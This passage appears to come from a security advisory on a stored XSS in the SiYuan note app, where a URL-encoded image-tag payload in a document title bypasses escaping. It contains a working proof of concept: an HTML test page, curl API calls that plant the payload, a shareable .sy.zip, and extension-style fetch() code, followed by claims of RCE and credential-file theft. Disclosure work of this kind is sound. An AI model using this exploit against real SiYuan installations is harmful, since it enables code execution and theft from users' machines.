Details
Step A — Browser-only validation of the chain (no SiYuan needed)
This proves the bug class on its own. Save as decode-chain.html, open in any Chromium-based browser:
<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
aria-label="%3Cimg src=x onerror="document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';"%3E"
hidden></span>
<button onclick="
let tip = document.getElementById('src').getAttribute('aria-label');
console.log('after getAttribute:', JSON.stringify(tip));
try { tip = decodeURIComponent(tip); } catch(e){}
console.log('after decodeURIComponent:', JSON.stringify(tip));
document.getElementById('out').innerHTML = tip;
">Simulate SiYuan tooltip</button>
<div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div>
</body></html>
Click the button. The <h2 id="status"> flips to red with "RESULT: payload fired — chain works", and the <div id="out"> contains a fully-rendered <img> element (not text). Confirms the chain decodes URL-escapes between getAttribute and innerHTML, producing real tag-open characters.
Step B — Plant the payload in SiYuan
DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \
-H 'Content-Type: application/json' \
-d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"])')
echo "DOC: $DOC_ID"
curl -s -X POST $API/api/filetree/renameDocByID \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"}
EOF
Verify the in-memory title round-trips:
curl -s -X POST $API/api/block/getDocInfo \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])'
# Expected:
# %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E
Step C — Trigger inside SiYuan
In the SiYuan desktop client:
- Open the search panel (
Ctrl+P/⌘+P). - Type
trigger. - The result list renders the doc with
aria-label="${escapeAriaLabel(title)}". The DOM attribute now contains%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E(URL-escapes survived;"came from escapeAriaLabel and was decoded by the attribute parser to"). - Hover the result row.
popover.ts:33reads the attribute,popover.ts:144callsdecodeURIComponent(decoding%3C/%27/%3Eto literal</'/>),tooltip.ts:41writesinnerHTML— HTML parser creates a real<img>element,onerrorfires. - `alert('SiYuan tooltip-XSS PoC')` pops.
Step D — .sy.zip reproducer for upstream review
For maintainers who want a single-click reproducer:
ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])')
# The kernel re-encodes % in the URL, so it's simpler to grab from disk:
SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1)
cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip"
Maintainer reproduces by importing via right-click a notebook → Import → SiYuan `.sy.zip` → searching trigger → hovering the result. The Lute serialization stores the title in the .sy file with %XX preserved literally and " HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the decodeURIComponent-based bypass.
Step E — Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Step B's curl chain via fetch() without any SiYuan UI interaction beyond keeping the kernel running:
(async () => {
const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify(body)
}).then(r => r.json());
const nb = await api('/api/notebook/lsNotebooks', {});
const id = (await api('/api/filetree/createDocWithMd', {
notebook: nb.data.notebooks[0].id,
path: '/x' + Date.now(),
markdown: 'trigger'
})).data;
await api('/api/filetree/renameDocByID', {
id,
title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`
});
})();
A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors: browser extensions, localhost-served webpages, shared `.sy.zip` imports, sync replication from a co-author's compromised device.
Cleanup
DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \
-H 'Content-Type: application/json' -d '{"k":"trigger me"}' \
| python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")')
[ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
Impact
- RCE on the victim's desktop, triggered by hovering a search result (or any other
class="ariaLabel"element rendering attacker-controlled metadata). - Doc titles are the most commonly-shared field — recipients of
.sy.zip, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport. - Same post-RCE consequences as Advisory 1: full filesystem read (incl.
~/.ssh/,~/.aws/credentials, workspaceconf/conf.json), persistence, cloud-account pivot. - Multiple alternative trigger surfaces beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with
class="ariaLabel"andaria-label="${escapeAriaLabel(...)}"reaches the samepopover.ts → tooltip.tschain. - CVE-2026-34585 fix is incomplete. The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for
decodeURIComponentbeing applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal<characters that initiate tag parsing. A consumer-side fix (textContent, orDOMPurify.sanitizeon the rich-text path; and removing the unconditionaldecodeURIComponent) is required.